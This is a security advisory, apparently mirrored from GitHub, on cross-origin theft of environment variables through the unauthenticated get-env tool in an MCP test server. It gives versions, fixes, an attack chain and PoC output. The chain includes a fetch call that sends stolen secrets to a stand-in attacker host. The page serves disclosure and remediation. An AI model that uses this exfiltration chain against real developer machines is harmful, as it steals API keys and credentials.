---
id: "GHSA-mvf5-2qqv-rg3c"
page: "https://infrastack.ai/live/GHSA-mvf5-2qqv-rg3c"
kind: "vulnerability"
aliases: ["GHSA-mvf5-2qqv-rg3c"]
title: "Cross-Origin Environment Variable Exfiltration in @modelcontextprotocol/server-everything"
severity: "medium"
cvss: 6.5
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "@modelcontextprotocol/server-everything", "fixed": [], "affected": ">= 2025.9.24, <= 2026.8.31", "ecosystem": "npm"}, {"name": "@modelcontextprotocol/server-everything", "fixed": ["2.0.1"], "affected": ">= 1.0.0, < 2.0.1", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["claude-code", "cwe-200", "cwe-942", "developers", "mcp", "node", "npm", "package"]
not_affected_if: ["no-http-transport", "stdio-transport"]
published_at: "2026-10-25T00:19:52+00:00"
first_seen_at: "2026-11-09T22:53:25+00:00"
updated_at: "2026-11-09T22:54:44+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-mvf5-2qqv-rg3c", "first_seen_at": "2026-11-09T22:53:25+00:00"}]
exploit_sources: []
---

# Cross-Origin Environment Variable Exfiltration in @modelcontextprotocol/server-everything

Link for people: https://infrastack.ai/live/GHSA-mvf5-2qqv-rg3c (this .md is for agents)

The npm package @modelcontextprotocol/server-everything, when run with its SSE or StreamableHTTP transport, binds to all interfaces with wildcard CORS and no authentication. Any web page a developer visits can call its get-env tool and read every environment variable, including API keys and database credentials.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:@modelcontextprotocol/server-everything affected >= 2025.9.24, <= 2026.8.31 fixed no fixed version listed
- npm:@modelcontextprotocol/server-everything affected >= 1.0.0, < 2.0.1 fixed 2.0.1

## How to check

- Run `npm ls @modelcontextprotocol/server-everything` to find the installed version.
- Check whether the server is started with the `sse` or `streamableHttp` transport, for example `npx @modelcontextprotocol/server-everything sse`; stdio use is not affected.
- Confirm whether the HTTP port is reachable from other machines or browsers on the same network.

## Fix

- `@modelcontextprotocol/server-everything` `2.0.1` for affected versions `>= 1.0.0, < 2.0.1`.
- Date versions `2025.9.24` through `2026.8.31` are affected; the advisory lists no fixed date version, so install `2.0.1` explicitly.

## Timeline

- 2026-11-09T22:53:25+00:00 ghsa-repo https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-mvf5-2qqv-rg3c

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-mvf5-2qqv-rg3c

## From the sources

### Summary
The mcp-server-everything package ships an HTTP MCP server that binds to all network interfaces (0.0.0.0) with wildcard CORS (Access-Control-Allow-Origin: *) and no authentication. It exposes a get-env tool that returns the entire contents of process.env — including all API keys, database credentials, and secrets — to any caller. Any web page open in the developer's browser can invoke this tool cross-origin with no user interaction, silently exfiltrating every secret in the process environment.

---

## Affected Components

| File | Issue |
|------|-------|
| `src/everything/transports/sse.ts:10-16` | `cors({ origin: "*" })` on SSE transport |
| `src/everything/transports/streamableHttp.ts:43-51` | `cors({ origin: "*" })` on StreamableHTTP transport |
| `src/everything/tools/get-env.ts:28` | `JSON.stringify(process.env, null, 2)` — unfiltered env dump |
| Both transports, `app.listen(PORT)` | No host binding restriction; defaults to `0.0.0.0` |

---
### Details

### Attack Chain

```
Developer running mcp-server-everything (SSE or StreamableHTTP)
  + real credentials in process.env (API keys, DB passwords, tokens)
  + developer visits any attacker-controlled page (malicious ad, phishing, typosquat)
        │
        ▼
Browser: EventSource("http://localhost:3001/sse")     ← CORS: * allows this
        │
        ▼
Attacker page completes MCP handshake (initialize → notifications/initialized)
        │
        ▼
Browser: POST /message?sessionId=... { method: "tools/call", name: "get-env" }
        │                                          ← CORS: * allows this
        ▼
Server returns JSON.stringify(process.env)
  → AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, DATABASE_URL, all tokens...
        │
        ▼
fetch("https://attacker.com/collect", { body: stolen_env })
        │
        ▼
All secrets exfiltrated. No browser warnings. No user prompts. No logs on victim machine.
```

### Why No Bypass Exists

Checked all potential mitigations — none are present:

1. **No env var flag to disable `get-env`**: `registerGetEnvTool(server)` is called unconditionally in `tools/index.ts:28`. No `DISABLE_GET_ENV`, `NO_GET_ENV`, or equivalent.

2. **No CORS allowlist or env var override**: `origin: "*"` is hardcoded. No `CORS_ORIGIN`, `ALLOWED_ORIGINS`, or similar override mechanism exists in either transport.

3. **No host binding restriction**: `app.listen(PORT)` with no host parameter. Node defaults to `0.0.0.0`, making the server reachable on all interfaces including loopback (browser-accessible) and LAN.

4. **No authentication**: No middleware on any route. `tools/call` is reachable immediately after the MCP handshake.

5. **No secret filtering in `get-env`**: No denylist, no regex scrubbing, no opt-in allowlist. All keys returned.

---

### PoC

Verified live on 2026-03-17 against `@modelcontextprotocol/server-everything` at HEAD (`1cdf806`).

### Setup

```bash
# Start server with fake credentials in env
SECRET_KEY="REAL_SECRET_EXFILTRATED_12345" \
OPENAI_API_KEY="sk-live-abcdefg" \
PORT=13001 \
node dist/index.js sse
```

### CORS Preflight Confirmation

```
OPTIONS /message HTTP/1.1
Origin: http://evil.com
Access-Control-Request-Method: POST

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *       ← any origin accepted
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: Content-Type
```

### Full MCP Flow (Node.js)

```
Session: b1fa9222-8ec5-4ace-b7b8-f43659d6bc61
CORS cross-origin request: SUCCEEDED (Origin: evil.com)
Total vars stolen: 47
SECRET_KEY: REAL_SECRET_EXFILTRATED_12345
OPENAI_API_KEY: sk-live-abcdefg
USER: ehudmelzer
```

All 47 environment variables returned in a single `tools/call` response. Origin `http://evil.com` was accepted without restriction.

**PoC files**: See `attacker.html` (browser-based) and `start-victim-server.sh` attached under archive.zip + screen recording demonstration.

https://github.com/user-attachments/assets/0011fe4d-e62d-4eec-abb5-2c3627967865
[Archive.zip](https://github.com/user-attachments/files/26052918/Archive.zip)


---

### Impact

| Scenario | Impact |
|----------|--------|
| Developer runs SSE/StreamableHTTP transport locally during development | All secrets in env exfiltrated by any visited web page |
| CI/CD pipeline runs `mcp-server-everything` with injected credentials | Credentials stolen by any network-adjacent page load |
| Docker container with `--network host` running the server | Same as above, LAN-accessible |
| Developer uses one-click VS Code install shown in README (stdio only) | Not affected — stdio transport has no HTTP surface |

The stdio transport (default) is **not affected**. Only developers who explicitly start the SSE or StreamableHTTP transports are exposed. However:
- The README documents and encourages both HTTP transports
- VS Code Docker install (`mcp/everything`) uses stdio — not affected
- `npx @modelcontextprotocol/server-everything sse` — directly affected

---
## Recommended Fixes

### Immediate (the server should not be run as-is)

1. **Bind to loopback only**:
   ```typescript
   app.listen(PORT, "127.0.0.1", () => { ... });
   ```

2. **Replace wildcard CORS with localhost-only**:
   ```typescript
   cors({ origin: /^https?:\/\/localhost(:\d+)?$/ })
   ```

3. **Remove or gate `get-env`** behind an explicit opt-in flag:
   ```typescript
   if (process.env.ENABLE_GET_ENV_TOOL === "true") {
     registerGetEnvTool(server);
   }
   ```

4. **Add auth token** to HTTP transports (bearer token generated at startup, logged to console).

### Long-term

- Add a security warning to the README before the HTTP transport usage instructions
- Document that `get-env` exposes all process secrets and should never be run in shared or multi-user environments
- Publish a fixed version to npm

## Earlier versions

Releases before 2025.9.24 did not send permissive CORS headers, so a web page could not read tool results cross-origin. They still checked neither `Origin` nor `Host`, so they remain exposed to DNS rebinding, which the `Origin` check in 2.0.1 also closes. Upgrade from any earlier version.

## Upgrading from a date-versioned release

`@modelcontextprotocol/server-everything` moved from date versions (2025.x, 2026.x) to semantic versions in 1.0.0. Package managers rank 2.0.1 below every 2025.x and 2026.x version, so they will not offer it as an upgrade and Dependabot will not open one. If you are on a date version, install the fix explicitly: `npm install @modelcontextprotocol/server-everything@2.0.1` (or `@latest`).

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
